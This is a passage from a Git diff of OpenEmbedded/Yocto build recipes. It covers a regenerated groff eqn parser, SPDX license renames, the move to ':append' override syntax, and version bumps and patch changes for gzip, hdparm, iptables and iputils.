"src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1812 "src/preproc/eqn/eqn.cpp" - break; - - case 55: --#line 255 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 259 "src/preproc/eqn/eqn.ypp" - { (yyval.b) = make_special_box((yyvsp[-1].str), (yyvsp[0].b)); } --#line 1803 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1818 "src/preproc/eqn/eqn.cpp" - break; - - case 56: --#line 260 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 264 "src/preproc/eqn/eqn.ypp" - { - int n; - if (sscanf((yyvsp[0].str), "%d", &n) == 1) - (yyval.n) = n; - a_delete (yyvsp[0].str); - } --#line 1814 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1829 "src/preproc/eqn/eqn.cpp" - break; - - case 57: --#line 270 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 274 "src/preproc/eqn/eqn.ypp" - { (yyval.pb) = new pile_box((yyvsp[0].b)); } --#line 1820 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1835 "src/preproc/eqn/eqn.cpp" - break; - - case 58: --#line 272 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 276 "src/preproc/eqn/eqn.ypp" - { (yyvsp[-2].pb)->append((yyvsp[0].b)); (yyval.pb) = (yyvsp[-2].pb); } --#line 1826 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1841 "src/preproc/eqn/eqn.cpp" - break; - - case 59: --#line 277 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 281 "src/preproc/eqn/eqn.ypp" - { (yyval.pb) = (yyvsp[-1].pb); } --#line 1832 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1847 "src/preproc/eqn/eqn.cpp" - break; - - case 60: --#line 279 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 283 "src/preproc/eqn/eqn.ypp" - { (yyvsp[-1].pb)->set_space((yyvsp[-3].n)); (yyval.pb) = (yyvsp[-1].pb); } --#line 1838 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1853 "src/preproc/eqn/eqn.cpp" - break; - - case 61: --#line 284 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 288 "src/preproc/eqn/eqn.ypp" - { (yyval.mb) = new matrix_box((yyvsp[0].col)); } --#line 1844 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1859 "src/preproc/eqn/eqn.cpp" - break; - - case 62: --#line 286 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 290 "src/preproc/eqn/eqn.ypp" - { (yyvsp[-1].mb)->append((yyvsp[0].col)); (yyval.mb) = (yyvsp[-1].mb); } --#line 1850 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1865 "src/preproc/eqn/eqn.cpp" - break; - - case 63: --#line 291 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 295 "src/preproc/eqn/eqn.ypp" - { (yyval.col) = new column((yyvsp[0].b)); } --#line 1856 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1871 "src/preproc/eqn/eqn.cpp" - break; - - case 64: --#line 293 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 297 "src/preproc/eqn/eqn.ypp" - { (yyvsp[-2].col)->append((yyvsp[0].b)); (yyval.col) = (yyvsp[-2].col); } --#line 1862 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1877 "src/preproc/eqn/eqn.cpp" - break; - - case 65: --#line 298 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 302 "src/preproc/eqn/eqn.ypp" - { (yyval.col) = (yyvsp[-1].col); } --#line 1868 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1883 "src/preproc/eqn/eqn.cpp" - break; - - case 66: --#line 300 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 304 "src/preproc/eqn/eqn.ypp" - { (yyvsp[-1].col)->set_space((yyvsp[-3].n)); (yyval.col) = (yyvsp[-1].col); } --#line 1874 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1889 "src/preproc/eqn/eqn.cpp" - break; - - case 67: --#line 305 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 309 "src/preproc/eqn/eqn.ypp" - { (yyvsp[0].col)->set_alignment(CENTER_ALIGN); (yyval.col) = (yyvsp[0].col); } --#line 1880 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1895 "src/preproc/eqn/eqn.cpp" - break; - - case 68: --#line 307 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 311 "src/preproc/eqn/eqn.ypp" - { (yyvsp[0].col)->set_alignment(LEFT_ALIGN); (yyval.col) = (yyvsp[0].col); } --#line 1886 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1901 "src/preproc/eqn/eqn.cpp" - break; - - case 69: --#line 309 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 313 "src/preproc/eqn/eqn.ypp" - { (yyvsp[0].col)->set_alignment(RIGHT_ALIGN); (yyval.col) = (yyvsp[0].col); } --#line 1892 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1907 "src/preproc/eqn/eqn.cpp" - break; - - case 70: --#line 311 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 315 "src/preproc/eqn/eqn.ypp" - { (yyvsp[0].col)->set_alignment(CENTER_ALIGN); (yyval.col) = (yyvsp[0].col); } --#line 1898 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1913 "src/preproc/eqn/eqn.cpp" - break; - - case 71: --#line 315 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 319 "src/preproc/eqn/eqn.ypp" - { (yyval.str) = (yyvsp[0].str); } --#line 1904 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1919 "src/preproc/eqn/eqn.cpp" - break; - - case 72: --#line 317 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 321 "src/preproc/eqn/eqn.ypp" - { (yyval.str) = (yyvsp[0].str); } --#line 1910 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1925 "src/preproc/eqn/eqn.cpp" - break; - - case 73: --#line 322 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 326 "src/preproc/eqn/eqn.ypp" - { (yyval.str) = (yyvsp[0].str); } --#line 1916 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1931 "src/preproc/eqn/eqn.cpp" - break; - - case 74: --#line 324 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 328 "src/preproc/eqn/eqn.ypp" - { (yyval.str) = strsave("{"); } --#line 1922 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1937 "src/preproc/eqn/eqn.cpp" - break; - - case 75: --#line 326 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1645 */ -+#line 330 "src/preproc/eqn/eqn.ypp" - { (yyval.str) = strsave("}"); } --#line 1928 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1943 "src/preproc/eqn/eqn.cpp" - break; - - --#line 1932 "src/preproc/eqn/eqn.cpp" /* yacc.c:1645 */ -+#line 1947 "src/preproc/eqn/eqn.cpp" -+ - default: break; - } - /* User semantic actions sometimes alter yychar, and that requires -@@ -2042,12 +2058,10 @@ yyerrlab: - | yyerrorlab -- error raised explicitly by YYERROR. | - `---------------------------------------------------*/ - yyerrorlab: -- -- /* Pacify compilers like GCC when the user code never invokes -- YYERROR and the label yyerrorlab therefore never appears in user -- code. */ -- if (/*CONSTCOND*/ 0) -- goto yyerrorlab; -+ /* Pacify compilers when the user code never invokes YYERROR and the -+ label yyerrorlab therefore never appears in user code. */ -+ if (0) -+ YYERROR; - - /* Do not reclaim the symbols of the rule whose action triggered - this YYERROR. */ -@@ -2109,6 +2123,7 @@ yyacceptlab: - yyresult = 0; - goto yyreturn; - -+ - /*-----------------------------------. - | yyabortlab -- YYABORT comes here. | - `-----------------------------------*/ -@@ -2116,6 +2131,7 @@ yyabortlab: - yyresult = 1; - goto yyreturn; - -+ - #if !defined yyoverflow || YYERROR_VERBOSE - /*-------------------------------------------------. - | yyexhaustedlab -- memory exhaustion comes here. | -@@ -2126,6 +2142,10 @@ yyexhaustedlab: - /* Fall through. */ - #endif - -+ -+/*-----------------------------------------------------. -+| yyreturn -- parsing is finished, return the result. | -+`-----------------------------------------------------*/ - yyreturn: - if (yychar != YYEMPTY) - { -@@ -2155,5 +2175,5 @@ yyreturn: - #endif - return yyresult; - } --#line 329 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1903 */ -+#line 333 "src/preproc/eqn/eqn.ypp" - -diff --git a/src/preproc/eqn/eqn.hpp b/src/preproc/eqn/eqn.hpp -index 32a32a5..9a092c1 100644 ---- a/src/preproc/eqn/eqn.hpp -+++ b/src/preproc/eqn/eqn.hpp -@@ -1,8 +1,9 @@ --/* A Bison parser, made by GNU Bison 3.2. */ -+/* A Bison parser, made by GNU Bison 3.4.1. */ - - /* Bison interface for Yacc-like parsers in C - -- Copyright (C) 1984, 1989-1990, 2000-2015, 2018 Free Software Foundation, Inc. -+ Copyright (C) 1984, 1989-1990, 2000-2015, 2018-2019 Free Software Foundation, -+ Inc. - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by -@@ -170,10 +171,9 @@ extern int yydebug; - - /* Value type. */ - #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED -- - union YYSTYPE - { --#line 30 "../src/preproc/eqn/eqn.ypp" /* yacc.c:1906 */ -+#line 34 "src/preproc/eqn/eqn.ypp" - - char *str; - box *b; -@@ -182,9 +182,9 @@ union YYSTYPE - int n; - column *col; - --#line 186 "src/preproc/eqn/eqn.hpp" /* yacc.c:1906 */ --}; -+#line 186 "src/preproc/eqn/eqn.hpp" - -+}; - typedef union YYSTYPE YYSTYPE; - # define YYSTYPE_IS_TRIVIAL 1 - # define YYSTYPE_IS_DECLARED 1 diff --git a/src/preproc/eqn/eqn.ypp b/src/preproc/eqn/eqn.ypp index fb318c3..b7b647e 100644 --- a/src/preproc/eqn/eqn.ypp diff --git a/meta/recipes-extended/groff/groff_1.22.4.bb b/meta/recipes-extended/groff/groff_1.22.4.bb index e398478349..b281544aab 100644 --- a/meta/recipes-extended/groff/groff_1.22.4.bb +++ b/meta/recipes-extended/groff/groff_1.22.4.bb @@ -3,7 +3,7 @@ DESCRIPTION = "The groff (GNU troff) software is a typesetting package which rea formatting commands and produces formatted output." SECTION = "base" HOMEPAGE = "http://www.gnu.org/software/groff/" -LICENSE = "GPLv3" +LICENSE = "GPL-3.0-only" LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504" @@ -18,8 +18,11 @@ SRC_URI = "${GNU_MIRROR}/groff/groff-${PV}.tar.gz \ SRC_URI[md5sum] = "08fb04335e2f5e73f23ea4c3adbf0c5f" SRC_URI[sha256sum] = "e78e7b4cb7dec310849004fa88847c44701e8d133b5d4c13057d876c1bad0293" +# Remove at the next upgrade +PR = "r1" + DEPENDS = "bison-native" -RDEPENDS_${PN} += "perl sed" +RDEPENDS:${PN} += "perl sed" inherit autotools-brokensep texinfo multilib_script pkgconfig @@ -28,9 +31,16 @@ MULTILIB_SCRIPTS = "${PN}:${bindir}/gpinyin ${PN}:${bindir}/groffer ${PN}:${bind EXTRA_OECONF = "--without-x --without-doc" PARALLEL_MAKE = "" -CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl' ac_cv_path_BASH_PROG='no'" +CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl' ac_cv_path_BASH_PROG='no' PAGE=A4" + +# Delete these generated files since we depend on bison-native +# and regenerate them. Do it deterministically (always). +do_configure:prepend() { + rm -f ${S}/src/preproc/eqn/eqn.cpp + rm -f ${S}/src/preproc/eqn/eqn.hpp +} -do_install_append() { +do_install:append() { # Some distros have both /bin/perl and /usr/bin/perl, but we set perl location # for target as /usr/bin/perl, so fix it to /usr/bin/perl. for i in afmtodit mmroff gropdf pdfmom grog; do @@ -52,15 +62,19 @@ do_install_append() { rm -rf ${D}${bindir}/glilypond rm -rf ${D}${libdir}/groff/glilypond rm -rf ${D}${mandir}/man1/glilypond* + + # not ship /usr/bin/grap2graph and its releated man files + rm -rf ${D}${bindir}/grap2graph + rm -rf ${D}${mandir}/man1/grap2graph* } -do_install_append_class-native() { +do_install:append:class-native() { create_cmdline_wrapper ${D}/${bindir}/groff \ -F${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/font \ -M${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/tmac } -FILES_${PN} += "${libdir}/${BPN}/site-tmac \ +FILES:${PN} += "${libdir}/${BPN}/site-tmac \ ${libdir}/${BPN}/groffer/" BBCLASSEXTEND = "native" diff --git a/meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch b/meta/recipes-extended/gzip/gzip-1.11/wrong-path-fix.patch index 7c37bc8d2d..7c37bc8d2d 100644 --- a/meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch +++ b/meta/recipes-extended/gzip/gzip-1.11/wrong-path-fix.patch diff --git a/meta/recipes-extended/gzip/gzip.inc b/meta/recipes-extended/gzip/gzip.inc index 04f8f95dd5..b32584033b 100644 --- a/meta/recipes-extended/gzip/gzip.inc +++ b/meta/recipes-extended/gzip/gzip.inc @@ -3,15 +3,14 @@ DESCRIPTION = "GNU Gzip is a popular data compression program originally written project. Mark Adler wrote the decompression part" HOMEPAGE = "http://www.gnu.org/software/gzip/" SECTION = "console/utils" -# change to GPLv3+ in 2007/07. Previous GPLv2 version is 1.3.12 inherit autotools texinfo export DEFS="NO_ASM" -EXTRA_OEMAKE_class-target = "GREP=${base_bindir}/grep" -EXTRA_OECONF_append_libc-musl = " gl_cv_func_fflush_stdin=yes " +EXTRA_OEMAKE:class-target = "GREP=${base_bindir}/grep" +EXTRA_OECONF:append:libc-musl = " gl_cv_func_fflush_stdin=yes " -do_install_append () { +do_install:append () { if [ "${base_bindir}" != "${bindir}" ]; then # Rename and move files into /bin (FHS), which is typical place for gzip install -d ${D}${base_bindir} @@ -25,7 +24,7 @@ do_install_append () { inherit update-alternatives ALTERNATIVE_PRIORITY = "100" -ALTERNATIVE_${PN} = "gunzip gzip zcat" +ALTERNATIVE:${PN} = "gunzip gzip zcat" ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip" ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip" ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat" diff --git a/meta/recipes-extended/gzip/gzip_1.10.bb b/meta/recipes-extended/gzip/gzip_1.11.bb index 9778e687e1..321c9c31a4 100644 --- a/meta/recipes-extended/gzip/gzip_1.10.bb +++ b/meta/recipes-extended/gzip/gzip_1.11.bb @@ -1,18 +1,20 @@ require gzip.inc -LICENSE = "GPLv3+" +# change to GPL-3.0-or-later in 2007/07. Previous GPL-2.0-or-later version is +# 1.3.12 +LICENSE = "GPL-3.0-or-later" SRC_URI = "${GNU_MIRROR}/gzip/${BP}.tar.gz \ file://run-ptest \ " -SRC_URI_append_class-target = " file://wrong-path-fix.patch" +SRC_URI:append:class-target = " file://wrong-path-fix.patch" LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \ file://gzip.h;beginline=8;endline=20;md5=6e47caaa630e0c8bf9f1bc8d94a8ed0e" -PROVIDES_append_class-native = " gzip-replacement-native" +PROVIDES:append:class-native = " gzip-replacement-native" -RDEPENDS_${PN}-ptest += "make perl grep diffutils" +RDEPENDS:${PN}-ptest += "make perl grep diffutils" BBCLASSEXTEND = "native nativesdk" @@ -36,5 +38,4 @@ do_install_ptest() { ${B}/tests/Makefile > ${D}${PTEST_PATH}/src/tests/Makefile } -SRC_URI[md5sum] = "cf9ee51aff167ff69844d5d7d71c8b20" -SRC_URI[sha256sum] = "c91f74430bf7bc20402e1f657d0b252cb80aa66ba333a25704512af346633c68" +SRC_URI[sha256sum] = "3e8a0e0c45bad3009341dce17d71536c4c655d9313039021ce7554a26cd50ed9" diff --git a/meta/recipes-extended/hdparm/hdparm_9.58.bb b/meta/recipes-extended/hdparm/hdparm_9.63.bb index e47dedae89..7900a310a3 100644 --- a/meta/recipes-extended/hdparm/hdparm_9.58.bb +++ b/meta/recipes-extended/hdparm/hdparm_9.63.bb @@ -4,10 +4,11 @@ DESCRIPTION = "hdparm is a Linux shell utility for viewing \ and manipulating various IDE drive and driver parameters." SECTION = "console/utils" -LICENSE = "BSD & GPLv2" -LICENSE_${PN} = "BSD" -LICENSE_${PN}-dbg = "BSD" -LICENSE_wiper = "GPLv2" +LICENSE = "BSD-2-Clause & GPL-2.0-only & hdparm" +LICENSE:${PN} = "BSD-2-Clause & hdparm" +LICENSE:${PN}-dbg = "BSD-2-Clause & hdparm" +LICENSE:wiper = "GPL-2.0-only" +NO_GENERIC_LICENSE[hdparm] = "LICENSE.TXT" LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \ file://debian/copyright;md5=a82d7ba3ade9e8ec902749db98c592f3 \ @@ -17,22 +18,21 @@ LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \ PACKAGES =+ "wiper" -FILES_wiper = "${bindir}/wiper.sh" +FILES:wiper = "${bindir}/wiper.sh" -RDEPENDS_wiper = "bash gawk coreutils" +RDEPENDS:wiper = "bash gawk coreutils" SRC_URI = "${SOURCEFORGE_MIRROR}/hdparm/${BP}.tar.gz \ file://wiper.sh-fix-stat-path.patch \ " -SRC_URI[md5sum] = "4652c49cf096a64683c05f54b4fa4679" -SRC_URI[sha256sum] = "9ae78e883f3ce071d32ee0f1b9a2845a634fc4dd94a434e653fdbef551c5e10f" +SRC_URI[sha256sum] = "70785deaebba5877a89c123568b41dee990da55fc51420f13f609a1072899691" EXTRA_OEMAKE = 'STRIP="echo" LDFLAGS="${LDFLAGS}"' inherit update-alternatives -ALTERNATIVE_${PN} = "hdparm" +ALTERNATIVE:${PN} = "hdparm" ALTERNATIVE_LINK_NAME[hdparm] = "${base_sbindir}/hdparm" ALTERNATIVE_PRIORITY = "100" diff --git a/meta/recipes-extended/images/core-image-kernel-dev.bb b/meta/recipes-extended/images/core-image-kernel-dev.bb index 4d16da1ea8..4018af7a3a 100644 --- a/meta/recipes-extended/images/core-image-kernel-dev.bb +++ b/meta/recipes-extended/images/core-image-kernel-dev.bb @@ -15,7 +15,7 @@ CORE_IMAGE_EXTRA_INSTALL += "${KERNEL_DEV_MODULE} \ " # We need extra space for things like kernel builds, etc. -IMAGE_ROOTFS_EXTRA_SPACE_append = " + 3000000" +IMAGE_ROOTFS_EXTRA_SPACE:append = " + 3000000" # Let's define our own subset to test, we can later add a on-target kernel build even! DEFAULT_TEST_SUITES = "ping ssh df connman syslog scp date parselogs" diff --git a/meta/recipes-extended/images/core-image-testmaster-initramfs.bb b/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb index 09a6d16042..2bc035a538 100644 --- a/meta/recipes-extended/images/core-image-testmaster-initramfs.bb +++ b/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb @@ -7,7 +7,8 @@ PACKAGE_INSTALL = "initramfs-live-boot initramfs-live-install-testfs initramfs-l # Do not pollute the initrd image with rootfs features IMAGE_FEATURES = "" -export IMAGE_BASENAME = "core-image-testmaster-initramfs" +export IMAGE_BASENAME = "core-image-testcontroller-initramfs" +IMAGE_NAME_SUFFIX ?= "" IMAGE_LINGUAS = "" LICENSE = "MIT" diff --git a/meta/recipes-extended/images/core-image-testmaster.bb b/meta/recipes-extended/images/core-image-testcontroller.bb index 0faf18f5a4..20edbd5630 100644 --- a/meta/recipes-extended/images/core-image-testmaster.bb +++ b/meta/recipes-extended/images/core-image-testcontroller.bb @@ -1,4 +1,4 @@ -DESCRIPTION = "A master image to be deployed on a target useful for testing other images" +DESCRIPTION = "A test controller image to be deployed on a target useful for testing other images using the OEQA runtime tests" IMAGE_FEATURES += "ssh-server-openssh package-management" @@ -14,5 +14,5 @@ IMAGE_INSTALL += "\ # we need a particular initramfs for live images # that pulls custom install scripts which take # care of partitioning for us -INITRD_IMAGE = "core-image-testmaster-initramfs" +INITRD_IMAGE = "core-image-testcontroller-initramfs" diff --git a/meta/recipes-extended/iptables/iptables/0001-Makefile.am-do-not-install-etc-ethertypes.patch b/meta/recipes-extended/iptables/iptables/0001-Makefile.am-do-not-install-etc-ethertypes.patch new file mode 100644 index 0000000000..aa51265822 --- /dev/null +++ b/meta/recipes-extended/iptables/iptables/0001-Makefile.am-do-not-install-etc-ethertypes.patch @@ -0,0 +1,40 @@ +From a4ed9fc8da720585f853d2ca6ffd30e2fa4d1247 Mon Sep 17 00:00:00 2001 +From: Trevor Gamblin <trevor.gamblin@windriver.com> +Date: Wed, 9 Mar 2022 12:50:39 -0500 +Subject: [PATCH] Makefile.am: do not install /etc/ethertypes + +The /etc/ethertypes is provided by netbase since 6.0[1]. +Do not instal the file in ebtables, otherwise there would be a conflict: +Error: Transaction test error: + file /etc/ethertypes conflicts between attempted installs of +netbase-1:6.2-r0.corei7_64 and iptables-1.8.7-r0.corei7_64 + +[1] +https://salsa.debian.org/md/netbase/-/commit/316680c6a2c3641b6abc76b3eebf88781f609d35) + +This patch is based off of the same change made for the ebtables recipe: + +http://cgit.openembedded.org/meta-openembedded/tree/meta-networking/recipes-filter/ebtables/ebtables-2.0.11/0001-Makefile.am-do-not-install-etc-ethertypes.patch?h=master + +Upstream-Status: Inappropriate [embedded specific] + +Signed-off-by: Trevor Gamblin <trevor.gamblin@windriver.com> +--- + Makefile.am | 1 - + 1 file changed, 1 deletion(-) + +diff --git a/Makefile.am b/Makefile.am +index 799bf8b8..2eb1843f 100644 +--- a/Makefile.am ++++ b/Makefile.am +@@ -18,7 +18,6 @@ SUBDIRS += iptables + + if ENABLE_NFTABLES + confdir = $(sysconfdir) +-dist_conf_DATA = etc/ethertypes + endif + + .PHONY: tarball +-- +2.35.1 + diff --git a/meta/recipes-extended/iptables/iptables/0001-build-resolve-iptables-apply-not-getting-installed.patch b/meta/recipes-extended/iptables/iptables/0001-build-resolve-iptables-apply-not-getting-installed.patch deleted file mode 100644 index 51ed66ed24..0000000000 --- a/meta/recipes-extended/iptables/iptables/0001-build-resolve-iptables-apply-not-getting-installed.patch +++ /dev/null @@ -1,45 +0,0 @@ -From d4ed0c741fc789bb09d977d74d30875fdd50d08b Mon Sep 17 00:00:00 2001 -From: Jan Engelhardt <jengelh@inai.de> -Date: Wed, 3 Jun 2020 15:38:48 +0200 -Subject: [PATCH] build: resolve iptables-apply not getting installed -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -ip6tables-apply gets installed but iptables-apply does not. -That is wrong. - -» make install DESTDIR=$PWD/r -» find r -name "*app*" -r/usr/local/sbin/ip6tables-apply -r/usr/local/share/man/man8/iptables-apply.8 -r/usr/local/share/man/man8/ip6tables-apply.8 - -Fixes: v1.8.5~87 -Signed-off-by: Jan Engelhardt <jengelh@inai.de> -Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org> - -Upstream-Status: Backport -[https://git.netfilter.org/iptables/commit/?id=d4ed0c741fc789bb09d977d74d30875fdd50d08b] - -Signed-off-by: Yi Zhao <yi.zhao@windriver.com> ---- - iptables/Makefile.am | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/iptables/Makefile.am b/iptables/Makefile.am -index dc66b3cc..2024dbf5 100644 ---- a/iptables/Makefile.am -+++ b/iptables/Makefile.am -@@ -56,7 +56,7 @@ man_MANS = iptables.8 iptables-restore.8 iptables-save.8 \ - ip6tables-save.8 iptables-extensions.8 \ - iptables-apply.8 ip6tables-apply.8 - --sbin_SCRIPT = iptables-apply -+sbin_SCRIPTS = iptables-apply - - if ENABLE_NFTABLES - man_MANS += xtables-nft.8 xtables-translate.8 xtables-legacy.8 \ --- -2.17.1 - diff --git a/meta/recipes-extended/iptables/iptables_1.8.5.bb b/meta/recipes-extended/iptables/iptables_1.8.7.bb index 5976128807..839733aaa8 100644 --- a/meta/recipes-extended/iptables/iptables_1.8.5.bb +++ b/meta/recipes-extended/iptables/iptables_1.8.7.bb @@ -3,23 +3,23 @@ DESCRIPTION = "iptables is the userspace command line program used to configure filtering code in Linux." HOMEPAGE = "http://www.netfilter.org/" BUGTRACKER = "http://bugzilla.netfilter.org/" -LICENSE = "GPLv2+" +LICENSE = "GPL-2.0-or-later" LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ file://iptables/iptables.c;beginline=13;endline=25;md5=c5cffd09974558cf27d0f763df2a12dc \ " SRC_URI = "http://netfilter.org/projects/iptables/files/iptables-${PV}.tar.bz2 \ file://0001-configure-Add-option-to-enable-disable-libnfnetlink.patch \ + file://0001-Makefile.am-do-not-install-etc-ethertypes.patch \ file://0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch \ - file://0001-build-resolve-iptables-apply-not-getting-installed.patch \ file://iptables.service \ file://iptables.rules \ file://ip6tables.service \ file://ip6tables.rules \ -" -SRC_URI[sha256sum] = "d457d74512e63aa3f50336e0597d4023c0e3c6845594d38532efb6ebcb294309" + " +SRC_URI[sha256sum] = "c109c96bb04998cd44156622d36f8e04b140701ec60531a10668cfdff5e8d8f0" -SYSTEMD_SERVICE_${PN} = "\ +SYSTEMD_SERVICE:${PN} = "\ iptables.service \ ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'ip6tables.service', '', d)} \ " @@ -37,7 +37,7 @@ PACKAGECONFIG[libnfnetlink] = "--enable-libnfnetlink,--disable-libnfnetlink,libn # libnftnl recipe is in meta-networking layer(previously known as libnftables) PACKAGECONFIG[libnftnl] = "--enable-nftables,--disable-nftables,libnftnl" -do_configure_prepend() { +do_configure:prepend() { # Remove some libtool m4 files # Keep ax_check_linker_flags.m4 which belongs to autoconf-archive. rm -f libtool.m4 lt~obsolete.m4 ltoptions.m4 ltsugar.m4 ltversion.m4 @@ -45,7 +45,7 @@ do_configure_prepend() { IPTABLES_RULES_DIR ?= "${sysconfdir}/${BPN}" -do_install_append() { +do_install:append() { install -d ${D}${IPTABLES_RULES_DIR} install -m 0644 ${WORKDIR}/iptables.rules ${D}${IPTABLES_RULES_DIR} @@ -71,15 +71,15 @@ do_install_append() { PACKAGES =+ "${PN}-modules ${PN}-apply" PACKAGES_DYNAMIC += "^${PN}-module-.*" -python populate_packages_prepend() { +python populate_packages:prepend() { modules = do_split_packages(d, '${libdir}/xtables', r'lib(.*)\.so$', '${PN}-module-%s', '${PN} module %s', extra_depends='') if modules: metapkg = d.getVar('PN') + '-modules' - d.appendVar('RDEPENDS_' + metapkg, ' ' + ' '.join(modules)) + d.appendVar('RDEPENDS:' + metapkg, ' ' + ' '.join(modules)) } -RDEPENDS_${PN} = "${PN}-module-xt-standard" -RRECOMMENDS_${PN} = " \ +RDEPENDS:${PN} = "${PN}-module-xt-standard" +RRECOMMENDS:${PN} = " \ ${PN}-modules \ kernel-module-x-tables \ kernel-module-ip-tables \ @@ -96,16 +96,16 @@ RRECOMMENDS_${PN} = " \ ', '', d)} \ " -FILES_${PN} += "${datadir}/xtables" +FILES:${PN} += "${datadir}/xtables" -FILES_${PN}-apply = "${sbindir}/ip*-apply" -RDEPENDS_${PN}-apply = "${PN} bash" +FILES:${PN}-apply = "${sbindir}/ip*-apply" +RDEPENDS:${PN}-apply = "${PN} bash" # Include the symlinks as well in respective packages -FILES_${PN}-module-xt-conntrack += "${libdir}/xtables/libxt_state.so" -FILES_${PN}-module-xt-ct += "${libdir}/xtables/libxt_NOTRACK.so" +FILES:${PN}-module-xt-conntrack += "${libdir}/xtables/libxt_state.so" +FILES:${PN}-module-xt-ct += "${libdir}/xtables/libxt_NOTRACK.so" -ALLOW_EMPTY_${PN}-modules = "1" +ALLOW_EMPTY:${PN}-modules = "1" -INSANE_SKIP_${PN}-module-xt-conntrack = "dev-so" -INSANE_SKIP_${PN}-module-xt-ct = "dev-so" +INSANE_SKIP:${PN}-module-xt-conntrack = "dev-so" +INSANE_SKIP:${PN}-module-xt-ct = "dev-so" diff --git a/meta/recipes-extended/iputils/iputils/0001-iputils-Initialize-libgcrypt.patch b/meta/recipes-extended/iputils/iputils/0001-iputils-Initialize-libgcrypt.patch deleted file mode 100644 index b56804cebe..0000000000 --- a/meta/recipes-extended/iputils/iputils/0001-iputils-Initialize-libgcrypt.patch +++ /dev/null @@ -1,55 +0,0 @@ -From 8576e0c218634e6f7ed1b6ff02fa164fb0c75f86 Mon Sep 17 00:00:00 2001 -From: Mingli Yu <mingli.yu@windriver.com> -Date: Wed, 29 Apr 2020 03:50:32 +0000 -Subject: [PATCH] iputils_md5dig.h: Initialize libgcrypt - -Initialize libgcrypt on first use otherwise -there comes below warning when check the status -of the ninfod.service. - # systemctl status ninfod.service - * ninfod.service - Respond to IPv6 Node Information Queries - Loaded: loaded (/lib/systemd/system/ninfod.service; enabled; vendor preset: enabled) - Active: active (running) since Wed 2020-04-29 05:18:21 UTC; 36s ago - Docs: man:ninfod(8) - 